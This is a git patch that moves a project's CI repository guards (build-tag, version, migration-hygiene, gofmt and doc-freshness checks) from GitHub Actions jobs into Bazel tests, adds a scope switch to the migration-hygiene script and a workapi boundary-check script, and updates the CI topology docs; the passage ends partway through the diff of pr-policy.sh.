+- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 51 ++- internal/httpapi/apigen/BUILD.bazel | 7 + internal/httpapi/spec/BUILD.bazel | 8 +- internal/workapi/doc.go | 2 +- scripts/BUILD.bazel | 32 ++ scripts/check-migration-hygiene.sh | 29 +- scripts/check-workapi-frontend-boundary.sh | 37 +++ scripts/ci/pr-policy.sh | 31 +- scripts/ci_blacksmith_runner_test.go | 2 +- scripts/ci_workflow_test.go | 203 ++++++++---- scripts/gitattributespolicy/BUILD.bazel | 20 ++ scripts/pr_preflight_test.go | 12 - scripts/pr_risk_bazel_coverage_test.go | 25 +- scripts/release_script_test.go | 20 -- scripts/repo_helpers_test.go | 47 +++ scripts/repochecks/BUILD.bazel | 353 +++++++++++++++++++++ scripts/repochecks/run_check.sh | 74 +++++ scripts/repochecks/testdata/a.txt | 1 + scripts/repochecks/testdata/assert_tree.sh | 17 + scripts/repochecks/testdata/skip.md | 1 + scripts/repochecks/testdata/sub/b.sh | 2 + scripts/repochecks/testdata/sub/deep/c.sh | 2 + scripts/repochecks/types_gen_drift_test.sh | 41 +++ tools/bazel/check_testcases.py | 16 +- tools/bazel/go_srcs.py | 1 + tools/bazel/repo_subset.bzl | 87 +++++ 31 files changed, 1053 insertions(+), 289 deletions(-) create mode 100755 scripts/check-workapi-frontend-boundary.sh create mode 100644 scripts/repo_helpers_test.go create mode 100644 scripts/repochecks/BUILD.bazel create mode 100755 scripts/repochecks/run_check.sh create mode 100644 scripts/repochecks/testdata/a.txt create mode 100755 scripts/repochecks/testdata/assert_tree.sh create mode 100644 scripts/repochecks/testdata/skip.md create mode 100755 scripts/repochecks/testdata/sub/b.sh create mode 100755 scripts/repochecks/testdata/sub/deep/c.sh create mode 100755 scripts/repochecks/types_gen_drift_test.sh create mode 100644 tools/bazel/repo_subset.bzl diff --git a/.bazelignore b/.bazelignore index 02f8e8fdb..446a903e1 100644 --- a/.bazelignore +++ b/.bazelignore @@ -1,5 +1,3 @@ -examples/library-usage -examples/bd-example-extension-go npm-package/node_modules website node_modules diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 07355f39c..772ce64f3 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1339,12 +1339,13 @@ jobs: echo "bazel test --config=integration: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" - # As in bazel-embedded. dolt_version_test is a plain sh_test (no Go - # testcases in its test.xml), which --config=integration's tag filter - # keeps, unlike the embedded one. + # As in bazel-embedded. dolt_version_test and the repository guards in + # //scripts/repochecks are plain sh_tests (no Go testcases in their + # test.xml), which --config=integration's tag filter keeps, unlike the + # embedded one. - name: Every target and shard ran tests if: ${{ always() && steps.test.outcome != 'skipped' }} - run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" --not-go //tools/bazel:dolt_version_test + run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" --not-go //tools/bazel:dolt_version_test --not-go //scripts/repochecks:all - name: Upload test logs if: ${{ failure() && steps.test.outcome != 'skipped' }} diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index bfaf9f66e..89470edf9 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -148,31 +148,29 @@ jobs: retention-days: 1 if-no-files-found: error - # F7a: fold of five independent, no-cache pr.yml checks that previously ran - # as five separate ubuntu-latest jobs (check-build-tags, - # check-version-consistency, check-migration-hygiene, - # check-no-beads-changes, fmt-check) into one Blacksmith job with five - # steps. Each step gets its own id and `if: ${{ !cancelled() }}` so one - # check's failure does not block the others from running, and the job - # exposes each step's outcome as a job output so ci-gate can still red the - # exact same CI_GATE_REQUIRED token it did before the fold - - # TestPRCIGateFastChecksTokens pins the mapping. FAST_CHECKS (the job's own - # `result`) is an added backstop token: if the whole job is lost (e.g. a - # cancelled runner) before any step sets its output, the per-check outputs - # read empty and the CI_GATE_REQUIRED fallback below treats that as - # "skipped" - which is NOT skipped_ok, so the gate still reds, but - # FAST_CHECKS gives ci-gate.sh one clear error line ("FAST_CHECKS=cancelled") - # instead of five confusing ones. + # The checks that need the PR's base commit, so no hermetic Bazel target + # can hold them: check-migration-hygiene.sh's delta half (C: shipped + # migrations are frozen, D: ignored-plane twins, E: no prepared DML in new + # migrations, all over `git diff `) and the .beads/issues.jsonl + # guard. Everything else this job ran is a Bazel test in bazel.yml's `test` + # lane (ga-96smfk.20): //scripts/repochecks:build_tags_test, + # :go_install_guidance_test, :winget_portable_alias_test, + # :migration_hygiene_test (checks A and B) and :fmt_test, and + # //internal/versioncheck:versioncheck_test for check-versions.sh. No Go: + # both steps are bash and git. + # + # Each step has its own id and `if: ${{ !cancelled() }}`, so one failure + # does not hide the other, and its outcome is a job output that ci-gate + # requires (TestPRCIGateFastChecksTokens). FAST_CHECKS (the job's own + # `result`) is the backstop token for a job lost before any step set its + # output. fast-checks: - name: Fast checks (build tags, versions, migrations, beads diff, fmt) + name: Fast checks (frozen migrations, .beads diff) runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} timeout-minutes: 10 outputs: - build-tags: ${{ steps.build-tags.outcome }} - version-consistency: ${{ steps.version-consistency.outcome }} migration-hygiene: ${{ steps.migration-hygiene.outcome }} no-beads-changes: ${{ steps.no-beads-changes.outcome }} - fmt: ${{ steps.fmt.outcome }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 with: @@ -180,40 +178,18 @@ jobs: # the base branch; a shallow checkout starves both. fetch-depth: 0 - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - # Fast shell/Make guard for direct source-time build-tag declarations. - # Workflow `run` steps are checked structurally in the required policy - # wrapper. - - name: Check build-tag policy - id: build-tags - if: ${{ !cancelled() }} - run: | - ./scripts/check-build-tags.sh - ./scripts/check-go-install-guidance.sh - ./scripts/check-winget-portable-alias.sh - - # Fast check to ensure all version files are in sync - - name: Check all versions match - id: version-consistency - if: ${{ !cancelled() }} - run: ./scripts/check-versions.sh - - # Migration hygiene: duplicate version numbers, nondeterministic SQL - # (UUID()/NOW()/RAND(), the #4259 root-cause class), and edits to - # migration files that already exist on the base branch (shipped - # migrations are frozen; fix forward with a new version). Fails at PR - # time, before any test even compiles. Details: + # Migration hygiene, delta half: edits to migration files that already + # exist on the base branch (shipped migrations are frozen; fix forward + # with a new version), and the twin and prepared-DML rules for new + # migrations. Checks A and B (duplicate versions, nondeterministic SQL) + # read only the tree and run in Bazel. Details: # scripts/check-migration-hygiene.sh. - name: Run migration hygiene checks id: migration-hygiene if: ${{ !cancelled() }} env: BASE_SHA: ${{ github.event.pull_request.base.sha || github.event.merge_group.base_sha }} + MIGRATION_HYGIENE_SCOPE: delta run: ./scripts/check-migration-hygiene.sh # Fast check to catch accidental .beads/issues.jsonl changes from @@ -247,11 +223,6 @@ jobs: fi echo "No .beads/issues.jsonl changes detected" - - name: Check gofmt - id: fmt - if: ${{ !cancelled() }} - run: make fmt-check - # Lock in two CGO-disabled portability boundaries. cmd/bd carries a mix of # cgo-only test helpers (embedded Dolt, sql.DB) and pure-Go tests; compiling # and running its pure-Go subset prevents test contamination (mybd-ycx / @@ -849,6 +820,14 @@ jobs: # Check documentation references match actual CLI flags # + # Stays a job: the generated CLI docs describe the release pinned in + # docs/cli-docs.pin, and check-doc-flags.sh validates them against bd built + # from that tag (scripts/resolve-docs-bd.sh: git fetch the tag, pure-Go go + # build), attributing drift against the merge-base. Neither input can enter + # a Bazel action key: releases publish no pure-Go linux binary to pin, and + # the attribution needs the PR's base. check-doc-freshness.sh, which this + # job also ran, is //scripts/repochecks:doc_freshness_test. + # # F7a: moved to Blacksmith for same-repo PRs/merge_group. This job's module # cache restore step was already absent before the fold (every run cold- # builds bd), so there is no GitHub-saved cache to lose here. @@ -881,9 +860,7 @@ jobs: # would eject every queued PR. Diff against the queue's base # commit instead (empty on pull_request: origin/$GITHUB_BASE_REF). BD_DOCS_DIFF_BASE: ${{ github.event.merge_group.base_sha }} - run: | - ./scripts/check-doc-flags.sh ./bd - ./scripts/check-doc-freshness.sh + run: ./scripts/check-doc-flags.sh ./bd # When the drift check fails, it writes the exact regenerated-docs fix # (produced with CI's canonical build) so contributors can apply it with @@ -898,6 +875,13 @@ jobs: path: ${{ runner.temp }}/cli-docs-freshness.patch if-no-files-found: ignore + # The Linux leg is Bazel's (ga-96smfk.20): //scripts:doc_freshness_required_test + # (integration lane: the doc-freshness suite under -required-suite) and + # //scripts/gitattributespolicy:gitattributespolicy_required_host_test + # (-required-host -expected-goos linux), both on rbe-west's Linux workers. + # The macOS and Windows legs stay here, on Blacksmith for same-repo PRs and + # merge groups (GitHub-hosted for forks and Dependabot). + # # F7b: same-repo Blacksmith for the Linux/Windows legs via the "matrix # marker" form (spec F7/F7b §2.1): Actions does not expand `${{ }}` inside a # matrix array/include value, so each leg's `include` entry instead carries @@ -929,9 +913,6 @@ jobs: fail-fast: false matrix: include: - - os: ubuntu-latest - expected_goos: linux - runner: same-repo-linux - os: macos-latest expected_goos: darwin runner: same-repo-macos @@ -1146,69 +1127,6 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: bash scripts/ci/test-windows-env-helpers.sh - # F3: package-mcp and package-npm (and the detect job that fed them) moved - # into bazel.yml, which pr.yml calls with package-gates: "on" below. They - # now depend on nothing but the rbe job's decision, so they no longer wait - # on build-artifacts, bazel-coverage or the rest of the bazel call. - # - # F7a: moved to Blacksmith for same-repo PRs/merge_group. setup-go runs with - # cache: false and the module download step below always hits the network, - # so this job restores no GitHub-saved cache. - pr-policy-wrapper: - name: PR Policy (wrapper timing) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 15 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - # The module fetch is the only part of this job that talks to the network, - # and setup-go above runs with cache: false, so every run pulls the whole - # module graph from the proxy. Doing it here, retried, means a proxy blip - # costs seconds instead of failing a required check. - # - # Deliberately NOT wrapped around the build: `make ci-pr-policy` runs a - # `go build ./cmd/bd` (scripts/ci/pr-policy.sh, build_docs_binary), and a - # compile error is not transient. Retrying it would make a genuinely broken - # build take three attempts to report and look like a slow one. The fetch - # has a legitimate transient failure mode; the build does not. - # - # 3 attempts x 120s + 2 backoffs x 10s = 380s worst case. 8m leaves ~100s - # of headroom, matching the bounded apt-get steps in migration-test.yml. - - name: Download modules - timeout-minutes: 8 - run: | - downloaded="" - for attempt in 1 2 3; do - if timeout 120 go mod download; then - downloaded=yes - break - fi - echo "::warning::go mod download attempt $attempt failed or timed out" - # No backoff after the final attempt - there is nothing left to wait for. - if [ "$attempt" -lt 3 ]; then - sleep 10 - fi - done - # Unlike the best-effort apt-get retries elsewhere in this repo, this - # one is load-bearing: nothing downstream can build without the - # modules. Fail here, naming the fetch, so a module outage is not - # reported as a build failure. - if [ -z "$downloaded" ]; then - echo "::error::go mod download failed after 3 attempts - module fetch failure, not a build failure" - exit 1 - fi - - - name: Run PR policy wrapper - run: make ci-pr-policy - # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel / # test (`bazel test //... --config=ci`, the same selection, checked by its # equivalence step) runs it, and scripts-go-checks runs what Bazel does not @@ -1279,7 +1197,7 @@ jobs: # (//scripts:scripts_test, //test/docsync over //:repo_files), remotely. # F7b: same-repo Blacksmith (blacksmith-4vcpu-ubuntu-2404) for same-repo # PRs/merge_group, falling back to ubuntu-latest for forks/Dependabot, same - # pattern as advisory-reports/pr-policy-wrapper/pr-core-wrapper above. + # pattern as advisory-reports/pr-core-wrapper above. # main.yml's go-vet-cache venue matrix seeds the vet leg's GOCACHE. scripts-go-checks: name: Go checks (${{ matrix.check }}) @@ -2380,7 +2298,6 @@ jobs: - check-doc-flags - check-doc-freshness-platforms - pr-preflight-platforms - - pr-policy-wrapper - pr-core-wrapper - scripts-go-checks - pr-lint-wrapper @@ -2399,11 +2316,8 @@ jobs: CI_GATE_REQUIRED: >- BUILD_ARTIFACTS FAST_CHECKS - CHECK_BUILD_TAGS - CHECK_VERSION_CONSISTENCY CHECK_MIGRATION_HYGIENE CHECK_NO_BEADS_CHANGES - FMT_CHECK CHECK_CMD_BD_PUREGEO_TESTS CHECK_RELEASE_TARGET_CROSS_COMPILATION CHECK_DOC_FLAGS @@ -2411,7 +2325,6 @@ jobs: PR_PREFLIGHT_PLATFORMS PACKAGE_MCP PACKAGE_NPM - PR_POLICY_WRAPPER PR_CORE_WRAPPER SCRIPTS_GO_CHECKS PR_LINT_WRAPPER @@ -2431,21 +2344,19 @@ jobs: BAZEL_DOLT_SERVER_RETIRED BAZEL_PR_LANES_RETIRED BUILD_ARTIFACTS: ${{ needs.build-artifacts.result }} - # F7a: fast-checks folds five formerly-separate jobs into one job - # with five steps; each token below now reads that step's outcome - # (via the job's outputs) instead of a sibling job's result, with a - # 'skipped' fallback for a lost job (see FAST_CHECKS below). - # TestPRCIGateFastChecksTokens pins this mapping. - CHECK_BUILD_TAGS: ${{ needs.fast-checks.outputs.build-tags || 'skipped' }} - CHECK_VERSION_CONSISTENCY: ${{ needs.fast-checks.outputs.version-consistency || 'skipped' }} + # fast-checks' two base-diff steps; each token reads that step's + # outcome (via the job's outputs), with a 'skipped' fallback for a + # lost job (see FAST_CHECKS below). TestPRCIGateFastChecksTokens + # pins this mapping. The repository guards the job used to run + # (build tags, versions, migration checks A and B, gofmt) are Bazel + # tests and gate through BAZEL_TEST. CHECK_MIGRATION_HYGIENE: ${{ needs.fast-checks.outputs.migration-hygiene || 'skipped' }} CHECK_NO_BEADS_CHANGES: ${{ needs.fast-checks.outputs.no-beads-changes || 'skipped' }} - FMT_CHECK: ${{ needs.fast-checks.outputs.fmt || 'skipped' }} # Backstop: if fast-checks itself is lost (e.g. a cancelled runner) - # before any step sets an output, the five tokens above all read - # 'skipped' (none are in CI_GATE_SKIPPED_OK by default, so the gate - # still reds) - FAST_CHECKS gives ci-gate.sh one clear line naming - # the job instead of five step-shaped ones. + # before any step sets an output, the two tokens above read + # 'skipped' (neither is in CI_GATE_SKIPPED_OK, so the gate still + # reds) - FAST_CHECKS gives ci-gate.sh one clear line naming the + # job. FAST_CHECKS: ${{ needs.fast-checks.result }} CHECK_CMD_BD_PUREGEO_TESTS: ${{ needs.check-cmd-bd-puregeo-tests.result }} CHECK_RELEASE_TARGET_CROSS_COMPILATION: ${{ needs.check-release-target-cross-compilation.result }} @@ -2466,7 +2377,6 @@ jobs: # here). PACKAGE_MCP: ${{ needs.bazel.outputs.package-mcp || 'skipped' }} PACKAGE_NPM: ${{ needs.bazel.outputs.package-npm || 'skipped' }} - PR_POLICY_WRAPPER: ${{ needs.pr-policy-wrapper.result }} PR_CORE_WRAPPER: ${{ needs.pr-core-wrapper.result }} SCRIPTS_GO_CHECKS: ${{ needs.scripts-go-checks.result }} PR_LINT_WRAPPER: ${{ needs.pr-lint-wrapper.result }} diff --git a/BUILD.bazel b/BUILD.bazel index dd3c4b4a1..752091059 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -11,6 +11,12 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") # so //:repo_files covers it for //test/docsync's link checks and the # repository-policy tests in //scripts. # gazelle:exclude integrations +# The two example Go modules (own go.mod, built against a released beads) are +# not part of this build either, but they are tracked files the repository +# guards (gofmt, build-tag and install-guidance checks in +# //scripts/repochecks) must see, so they are not in .bazelignore. +# gazelle:exclude examples/library-usage +# gazelle:exclude examples/bd-example-extension-go gazelle(name = "gazelle") exports_files( @@ -361,6 +367,7 @@ filegroup( "//scripts/migration-test/catalog:repo_files", "//scripts/pr-lint:repo_files", "//scripts/prlintmake:repo_files", + "//scripts/repochecks:repo_files", "//scripts/repro-dolt-hang:repo_files", "//scripts/repro-dolt-prod-timeouts:repo_files", "//scripts/workflowtags:repo_files", @@ -374,6 +381,7 @@ filegroup( ], visibility = [ "//scripts:__pkg__", + "//scripts/repochecks:__pkg__", "//test/docsync:__pkg__", ], ) diff --git a/MODULE.bazel b/MODULE.bazel index 186368330..079f91640 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -220,16 +220,20 @@ dolt_release( platform = "darwin-arm64", ) -# The tracked release formula, for //scripts:scripts_test. .beads/ also holds -# live bd data and is in .bazelignore, so no main-repo target can declare the -# formula; this local repository exposes only .beads/formulas. +# The tracked release formula, for //scripts:scripts_test and the +# whole-checkout guard //scripts/repochecks:go_install_guidance_test. .beads/ +# also holds live bd data and is in .bazelignore, so no main-repo target can +# declare the formula; this local repository exposes only .beads/formulas. new_local_repository = use_repo_rule("@bazel_tools//tools/build_defs/repo:local.bzl", "new_local_repository") new_local_repository( name = "beads_formulas", build_file_content = """exports_files( glob(["*.formula.toml"]), - visibility = ["@@//scripts:__pkg__"], + visibility = [ + "@@//scripts:__pkg__", + "@@//scripts/repochecks:__pkg__", + ], ) """, path = ".beads/formulas", diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 6ec63d432..08615789b 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -630,11 +630,9 @@ would only be needed if maintainers still want exactly one required check. Do not require these existing check names directly: - `Detect CI tier` -- `Fast checks (build tags, versions, migrations, beads diff, fmt)` (F7a fold - of the former standalone `Check build-tag policy`, `Check version - consistency`, `Check for .beads changes` and `Check formatting` checks into - one job's steps; see - [F7a: Same-Repo Blacksmith Moves and Job Folds](#f7a-same-repo-blacksmith-moves-and-job-folds)) +- `Fast checks (frozen migrations, .beads diff)` (the base-diff checks; the + tree checks it used to run are Bazel tests, see + [Repository Guards as Bazel Tests](#repository-guards-as-bazel-tests)) - `Check pure-Go and js/wasm boundaries (CGO_ENABLED=0)` - `Check doc flags freshness` - `Check release target cross-compilation (unix)` and `(desktop)` (F7a fold @@ -1255,6 +1253,49 @@ scope, not this slice's. Windows job to Blacksmith (there is no Windows Blacksmith pool), and neither job is one F4's concurrent Windows-region edits touch. +### Repository Guards as Bazel Tests + +ga-96smfk.20 moved the repository guards that pr.yml ran on GitHub runners +into Bazel tests over narrow slices of the checkout +(`tools/bazel/repo_subset.bzl`, laid out as a throwaway git checkout by +`scripts/repochecks/run_check.sh`), so they run remotely in bazel.yml's +`test` lane and a pass is reused until one of the files the guard reads +changes. They gate through `BAZEL_TEST`; pinned by +`TestPRPolicyChecksRunAsBazelTargets`. + +| Former job / step | Bazel target | +| --- | --- | +| fast-checks: `check-build-tags.sh` | `//scripts/repochecks:build_tags_test` | +| fast-checks: `check-go-install-guidance.sh` | `//scripts/repochecks:go_install_guidance_test` | +| fast-checks: `check-winget-portable-alias.sh` | `//scripts/repochecks:winget_portable_alias_test` | +| fast-checks: `check-versions.sh` | `//internal/versioncheck:versioncheck_test` (same `versioncheck.Check` over the release metadata) | +| fast-checks: migration hygiene checks A and B | `//scripts/repochecks:migration_hygiene_test` (`MIGRATION_HYGIENE_SCOPE=tree`) | +| fast-checks: `make fmt-check` | `//scripts/repochecks:fmt_test` (the registered SDK's gofmt) | +| PR Policy: `checkworkflowtags` | `//scripts/repochecks:workflow_tags_test` | +| PR Policy: `check-testing-short.sh` | `//scripts:scripts_test` (`TestCheckTestingShortPassesOnCleanRepoTree`) | +| PR Policy: workapi frontend boundary | `//scripts/repochecks:workapi_frontend_boundary_test` | +| PR Policy: `make api-check` drift | `//scripts/repochecks:types_gen_drift_test`; its `go test ./internal/httpapi/...` half is the httpapi targets in the same lane | +| PR Policy / check-doc-flags: `check-doc-freshness.sh` | `//scripts/repochecks:doc_freshness_test` | +| check-doc-freshness-platforms, Linux leg | `//scripts:doc_freshness_required_test` (integration lane) and `//scripts/gitattributespolicy:gitattributespolicy_required_host_test` | + +What stays a job, and why: + +- `fast-checks` keeps the two checks that need the PR's base commit: + check-migration-hygiene.sh's delta half (`MIGRATION_HYGIENE_SCOPE=delta`: + frozen shipped migrations, ignored-plane twins, prepared DML in new + migrations) and the `.beads/issues.jsonl` guard. No action key can hold a + base commit. +- `check-doc-flags` validates the generated CLI docs against bd built from + the release tag in `docs/cli-docs.pin` (git fetch plus a pure-Go + `go build`), and attributes drift against the merge-base. Releases publish + no pure-Go Linux binary a Bazel repository could pin by sha256. +- The macOS and Windows legs of `check-doc-freshness-platforms` (no remote + workers for those hosts), on Blacksmith for same-repo PRs and merge groups. + +`check-doc-freshness.sh` compares review dates with today's date, which is +not in the action key: a cached pass stands until one of its inputs changes, +and nightly's `--config=fresh` run re-checks it against the date. + ### Same-Repo Blacksmith macOS Legs pr.yml's two mixed-OS matrix jobs, `pr-preflight-platforms` and diff --git a/internal/httpapi/apigen/BUILD.bazel b/internal/httpapi/apigen/BUILD.bazel index f777dcdd4..9aa4a0b29 100644 --- a/internal/httpapi/apigen/BUILD.bazel +++ b/internal/httpapi/apigen/BUILD.bazel @@ -15,6 +15,13 @@ go_library( ], ) +# //scripts/repochecks:types_gen_drift_test regenerates types.gen.go from the +# spec (`make api-check`'s drift half). +exports_files( + ["types.gen.go"], + visibility = ["//scripts/repochecks:__pkg__"], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/httpapi/spec/BUILD.bazel b/internal/httpapi/spec/BUILD.bazel index 5fe190f42..81d0f6532 100644 --- a/internal/httpapi/spec/BUILD.bazel +++ b/internal/httpapi/spec/BUILD.bazel @@ -13,10 +13,14 @@ go_library( # (the go:embed above), not a relative os.ReadFile path, so no `data` # dependency on this file is actually needed for that one read -- this export # stays as defense in depth for any other reader of the raw YAML that package -# gains. +# gains. //scripts/repochecks:types_gen_drift_test regenerates the wire +# types from it. exports_files( ["openapi.v0.yaml"], - visibility = ["//internal/httpclient/encode:__pkg__"], + visibility = [ + "//internal/httpclient/encode:__pkg__", + "//scripts/repochecks:__pkg__", + ], ) # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- diff --git a/internal/workapi/doc.go b/internal/workapi/doc.go index 6df2ee589..bda4b6c15 100644 --- a/internal/workapi/doc.go +++ b/internal/workapi/doc.go @@ -14,5 +14,5 @@ // // The boundary is enforced mechanically, not by review: see the // workapi-frontend-boundary depguard rule in .golangci.yml and the -// banned-accessor check in scripts/ci/pr-policy.sh. +// banned-accessor check in scripts/check-workapi-frontend-boundary.sh. package workapi diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 0eaa8a45f..4c619b4e1 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -47,6 +47,7 @@ go_test( "pull_dolt_image_test.go", "rbe_worker_env_test.go", "release_script_test.go", + "repo_helpers_test.go", "required_suite_test.go", "test_script_test.go", "upgrade_smoke_loop_test.go", @@ -73,6 +74,37 @@ go_test( ], ) +# pr.yml's check-doc-freshness-platforms Linux leg: `go test +# -tags integration ./scripts -count=1 -run '^(TestDocFreshness.*| +# TestRequiredSuiteContract)$' -args -required-suite=doc-freshness`, whose +# TestMain fails unless exactly the doc-freshness inventory is compiled and +# selected. scripts_test runs those tests too (in the integration lane); this +# target adds the inventory and selection contract, over only the files the +# suite reads (its fixtures copy check-doc-freshness.sh). The macOS and +# Windows legs stay in pr.yml. +# Tags: +# integration-only: every TestDocFreshness test is //go:build integration, +# so --config=integration's lane runs it. +go_test( + name = "doc_freshness_required_test", + srcs = [ + "check_doc_freshness_test.go", + "repo_helpers_test.go", + "required_suite_test.go", + ], + args = [ + "-test.count=1", + "-test.run=^(TestDocFreshness.*|TestRequiredSuiteContract)$$", + "-required-suite=doc-freshness", + ], + data = ["check-doc-freshness.sh"], + tags = ["integration-only"], + deps = [ + "//internal/testutil/bazeltest", + "//scripts/internal/testbash", + ], +) + exports_files( ["migration-test/release-catalog.json"], visibility = ["//scripts/migration-test/catalog:__pkg__"], diff --git a/scripts/check-migration-hygiene.sh b/scripts/check-migration-hygiene.sh index 7a1db5af4..1e1b4a70c 100755 --- a/scripts/check-migration-hygiene.sh +++ b/scripts/check-migration-hygiene.sh @@ -89,6 +89,12 @@ # Checks C, D, and E compare against $BASE_SHA if set (CI passes the PR base), # else origin/main, else main; they are skipped with a warning when no base # is resolvable (e.g. shallow clone without the base commit). +# +# MIGRATION_HYGIENE_SCOPE splits the two halves for CI (default: all): +# tree checks A and B, which read only the checked-out migrations: the +# hermetic half, //scripts/repochecks:migration_hygiene_test. +# delta checks C, D and E, which diff against the base: pr.yml's +# pr-diff-checks job, the only place a PR's base is known. set -euo pipefail @@ -100,6 +106,16 @@ MIG_DIR="internal/storage/schema/migrations" ALLOWLIST="$MIG_DIR/nondeterminism-allowlist.txt" fail=0 +scope="${MIGRATION_HYGIENE_SCOPE:-all}" +case "$scope" in + all|tree|delta) ;; + *) echo "MIGRATION_HYGIENE_SCOPE must be all, tree or delta, not '$scope'" >&2; exit 2 ;; +esac + +# Checks A and B (and the allowlist audit) run unless scope is delta. Their +# bodies are not indented under this `if`: Check B's heredoc is column-0. +if [ "$scope" != delta ]; then + # --- Check A: duplicate version numbers ------------------------------------ # Numbering is per directory: migrations/ and migrations/ignored/ are # independent sequences (see ignored/ for local-state tables). @@ -183,9 +199,14 @@ if [ -f "$ALLOWLIST" ]; then done < "$ALLOWLIST" fi +fi # scope != delta + # --- Check C: shipped migrations are frozen ---------------------------------- +# Scope tree leaves base empty, so C, D and E below skip without a warning. base="${BASE_SHA:-}" -if [ -z "$base" ]; then +if [ "$scope" = tree ]; then + base="" +elif [ -z "$base" ]; then for candidate in origin/main main; do if git rev-parse --verify -q "$candidate^{commit}" >/dev/null 2>&1; then base="$candidate" @@ -195,7 +216,7 @@ if [ -z "$base" ]; then fi if [ -z "$base" ] || ! merge_base=$(git merge-base "$base" HEAD 2>/dev/null); then - echo "WARN (frozen migrations) no usable base ref; skipping check C." >&2 + [ "$scope" = tree ] || echo "WARN (frozen migrations) no usable base ref; skipping check C." >&2 else # Diff merge-base against the working tree (no HEAD) so local uncommitted # edits are caught too; in CI the tree is clean so this equals the PR diff. @@ -228,7 +249,7 @@ fi # backstop for the same invariant is # internal/storage/embeddeddolt/migrate_ignored_plane_shape_test.go. if [ -z "$base" ] || [ -z "${merge_base:-}" ]; then - echo "WARN (ignored twins) no usable base ref; skipping check D." >&2 + [ "$scope" = tree ] || echo "WARN (ignored twins) no usable base ref; skipping check D." >&2 else ignored_tables='wisps|wisp_[a-z_]+|repo_mtimes|local_metadata|leases|events|bd_events_journal|bd_events_seq|ignored_schema_migrations' ddl_re="(alter|create|rename|drop)[[:space:]]+table([[:space:]]+if[[:space:]]+(not[[:space:]]+)?exists)?[[:space:]]+[\`']?(${ignored_tables})\b" @@ -373,7 +394,7 @@ EOF } if [ -z "$base" ] || [ -z "${merge_base:-}" ]; then - echo "WARN (prepared DML) no usable base ref; skipping check E." >&2 + [ "$scope" = tree ] || echo "WARN (prepared DML) no usable base ref; skipping check E." >&2 else # Only *.up.sql is embedded into the CLI fresh bundle (`//go:embed # migrations/*.up.sql`, schema.go:218), so a .down.sql can never meet the bug diff --git a/scripts/check-workapi-frontend-boundary.sh b/scripts/check-workapi-frontend-boundary.sh new file mode 100755 index 000000000..2031166bc --- /dev/null +++ b/scripts/check-workapi-frontend-boundary.sh @@ -0,0 +1,37 @@ +#!/usr/bin/env bash +# internal/workapi must not read cwd- or environment-derived state. +# +# The import half of this boundary is the workapi-frontend-boundary depguard +# rule in .golangci.yml. This is the symbol half depguard cannot express: +# internal/workapi legitimately imports internal/config (for +# GetCustomTypesFromYAML, a workspace-scoped read), but process-local reads +# derived from a client's cwd or environment are meaningless in a long-lived +# server and must not leak into the shared contract. +# +# Runs in scripts/ci/pr-policy.sh and as +# //scripts/repochecks:workapi_frontend_boundary_test. +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +cd "$SCRIPT_DIR/.." + +banned='config\.GetDirectoryLabels|os\.Getenv' + +if [[ ! -d internal/workapi ]]; then + printf 'internal/workapi does not exist; skipping frontend-boundary check.\n' + exit 0 +fi + +if grep -rnE "$banned" internal/workapi --include='*.go'; then + cat >&2 <<'MSG' + +internal/workapi must not read cwd- or environment-derived state. + +Those reads describe the client's process, which a server process does not +share. Resolve them in the frontend and pass the result in as a parameter. +See internal/workapi/doc.go. +MSG + exit 1 +fi + +printf 'No banned cwd/env accessors in internal/workapi.\n' diff --git a/scripts/ci/pr-policy.sh b/scripts/ci/pr-policy.sh index 4a0436bcd..d450085c7 100755 --- a/scripts/ci/pr-policy.sh +++ b/scripts/ci/pr-policy.sh @@ -62,35 +62,6 @@ EOF printf 'No .beads/issues.jsonl changes detected.\n' } -check_workapi_frontend_boundary() { - # The import half of this boundary is the workapi-frontend-boundary - # depguard rule in .golangci.yml. This is the symbol half depguard cannot - # express: internal/workapi legitimately imports internal/config (for - # GetCustomTypesFromYAML, a workspace-scoped read), but process-local - # reads derived from a client's cwd or environment are meaningless in a - # long-lived server and must not leak into the 